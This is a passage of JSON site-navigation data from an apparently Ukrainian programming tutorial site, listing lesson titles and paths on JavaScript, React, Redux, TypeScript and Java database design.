fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":2095,"path":2096,"stem":2097},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":2099,"path":2100,"stem":2101},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":2103,"path":2104,"stem":2105},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":2107,"path":2108,"stem":2109},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":2111,"path":2112,"stem":2113},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":2115,"path":2116,"stem":2117},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":2119,"path":2120,"stem":2121},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":2123,"path":2124,"stem":2125},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":2127,"icon":2128,"path":2129,"stem":2130,"children":2131,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2132,2136,2140,2144],{"title":2133,"path":2134,"stem":2135},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2137,"path":2138,"stem":2139},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2141,"path":2142,"stem":2143},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2145,"path":2146,"stem":2147},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2149,"icon":2150,"path":2151,"stem":2152,"children":2153},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2154,2155,2159,2163,2167,2171,2234,2269,2421],{"title":2149,"path":2151,"stem":2152},{"title":2156,"path":2157,"stem":2158},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2160,"path":2161,"stem":2162},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2164,"path":2165,"stem":2166},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2168,"path":2169,"stem":2170},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2172,"icon":132,"path":2173,"stem":2174,"children":2175},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2176,2178,2182,2186,2190,2194,2198,2202,2206,2210,2214,2218,2222,2226,2230],{"title":2177,"path":2173,"stem":2174},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2179,"path":2180,"stem":2181},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2183,"path":2184,"stem":2185},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2187,"path":2188,"stem":2189},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2191,"path":2192,"stem":2193},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2195,"path":2196,"stem":2197},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2199,"path":2200,"stem":2201},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2203,"path":2204,"stem":2205},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2207,"path":2208,"stem":2209},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2211,"path":2212,"stem":2213},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2215,"path":2216,"stem":2217},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2219,"path":2220,"stem":2221},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2223,"path":2224,"stem":2225},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2227,"path":2228,"stem":2229},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2231,"path":2232,"stem":2233},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2235,"icon":2150,"path":2236,"stem":2237,"children":2238},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2239,2241,2245,2249,2253,2257,2261,2265],{"title":2240,"path":2236,"stem":2237},"React Router: Навігаційна система сучасного вебу",{"title":2242,"path":2243,"stem":2244},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2246,"path":2247,"stem":2248},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2250,"path":2251,"stem":2252},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2254,"path":2255,"stem":2256},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2258,"path":2259,"stem":2260},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2262,"path":2263,"stem":2264},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2266,"path":2267,"stem":2268},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2270,"icon":132,"path":2271,"stem":2272,"children":2273},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2274,2276,2292,2321,2330,2351,2367,2396],{"title":2275,"path":2271,"stem":2272},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2277,"stem":2278,"children":2279,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2280,2284,2288],{"title":2281,"path":2282,"stem":2283},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2285,"path":2286,"stem":2287},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2289,"path":2290,"stem":2291},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2293,"icon":132,"path":2294,"stem":2295,"children":2296,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2297,2301,2305,2309,2313,2317],{"title":2298,"path":2299,"stem":2300},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2302,"path":2303,"stem":2304},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2306,"path":2307,"stem":2308},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2310,"path":2311,"stem":2312},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2314,"path":2315,"stem":2316},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2318,"path":2319,"stem":2320},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2322,"icon":132,"path":2323,"stem":2324,"children":2325,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2326],{"title":2327,"path":2328,"stem":2329},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2331,"icon":132,"path":2332,"stem":2333,"children":2334,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2335,2339,2343,2347],{"title":2336,"path":2337,"stem":2338},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2340,"path":2341,"stem":2342},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2344,"path":2345,"stem":2346},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2348,"path":2349,"stem":2350},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2352,"icon":92,"path":2353,"stem":2354,"children":2355,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2356,2360,2364],{"title":2357,"path":2358,"stem":2359},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2361,"path":2362,"stem":2363},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2211,"path":2365,"stem":2366},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2368,"icon":132,"path":2369,"stem":2370,"children":2371,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2372,2376,2380,2384,2388,2392],{"title":2373,"path":2374,"stem":2375},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2377,"path":2378,"stem":2379},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2381,"path":2382,"stem":2383},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2385,"path":2386,"stem":2387},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2389,"path":2390,"stem":2391},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2393,"path":2394,"stem":2395},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2397,"icon":132,"path":2398,"stem":2399,"children":2400,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2401,2405,2409,2413,2417],{"title":2402,"path":2403,"stem":2404},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2406,"path":2407,"stem":2408},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2410,"path":2411,"stem":2412},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2414,"path":2415,"stem":2416},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2418,"path":2419,"stem":2420},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2422,"icon":132,"path":2423,"stem":2424,"children":2425},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2426,2428,2432,2436,2440,2444,2448],{"title":2427,"path":2423,"stem":2424},"UI Бібліотеки в React",{"title":2429,"path":2430,"stem":2431},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2433,"path":2434,"stem":2435},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2437,"path":2438,"stem":2439},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2441,"path":2442,"stem":2443},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2445,"path":2446,"stem":2447},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2449,"path":2450,"stem":2451},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2453,"icon":2454,"path":2455,"stem":2456,"children":2457,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2458,2462,2466,2470,2474,2478,2482,2486],{"title":2459,"path":2460,"stem":2461},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2463,"path":2464,"stem":2465},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2467,"path":2468,"stem":2469},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2471,"path":2472,"stem":2473},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2475,"path":2476,"stem":2477},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2479,"path":2480,"stem":2481},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2483,"path":2484,"stem":2485},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2487,"path":2488,"stem":2489},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2491,"icon":2492,"path":2493,"stem":2494,"children":2495,"page":59},"Асинхронність","i-lucide-refresh-cw","\u002Fjavascript\u002Fasync-programming","03.javascript\u002F06.async-programming",[2496,2500,2504],{"title":2497,"path":2498,"stem":2499},"Event Loop: серце асинхронності в JavaScript","\u002Fjavascript\u002Fasync-programming\u002Fevent-loop-fundamentals","03.javascript\u002F06.async-programming\u002F01.event-loop-fundamentals",{"title":2501,"path":2502,"stem":2503},"Task Queue та Microtask Queue: пріоритети виконання","\u002Fjavascript\u002Fasync-programming\u002Ftask-queues","03.javascript\u002F06.async-programming\u002F02.task-queues",{"title":2505,"path":2506,"stem":2507},"Асинхронні патерни: від Callbacks до Async\u002FAwait","\u002Fjavascript\u002Fasync-programming\u002Fasync-patterns","03.javascript\u002F06.async-programming\u002F03.async-patterns",{"title":2509,"path":2510,"stem":2511},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2513,"icon":2514,"path":2515,"stem":2516,"children":2517,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2518,2521,2524,2528,2532,2536,2540],{"title":162,"path":2519,"stem":2520},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2522,"stem":2523},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2525,"path":2526,"stem":2527},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2529,"path":2530,"stem":2531},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2533,"path":2534,"stem":2535},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2537,"path":2538,"stem":2539},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2541,"path":2542,"stem":2543,"children":2544,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2545,2549,2553,2557,2561,2565,2569,2573,2577,2581,2585,2589,2593,2597,2601,2605,2609,2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665,2669,2673,2677,2681,2685,2689],{"title":2546,"path":2547,"stem":2548},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2550,"path":2551,"stem":2552},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2554,"path":2555,"stem":2556},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2558,"path":2559,"stem":2560},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2562,"path":2563,"stem":2564},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2566,"path":2567,"stem":2568},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2570,"path":2571,"stem":2572},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2574,"path":2575,"stem":2576},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2578,"path":2579,"stem":2580},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2582,"path":2583,"stem":2584},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2586,"path":2587,"stem":2588},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2590,"path":2591,"stem":2592},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2594,"path":2595,"stem":2596},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2598,"path":2599,"stem":2600},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2602,"path":2603,"stem":2604},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2606,"path":2607,"stem":2608},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2610,"path":2611,"stem":2612},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2614,"path":2615,"stem":2616},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2618,"path":2619,"stem":2620},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2622,"path":2623,"stem":2624},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2626,"path":2627,"stem":2628},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2630,"path":2631,"stem":2632},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2634,"path":2635,"stem":2636},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2638,"path":2639,"stem":2640},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2642,"path":2643,"stem":2644},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2646,"path":2647,"stem":2648},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2650,"path":2651,"stem":2652},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2654,"path":2655,"stem":2656},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2658,"path":2659,"stem":2660},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2662,"path":2663,"stem":2664},"View та Controller: Зв'язування з ViewModel через 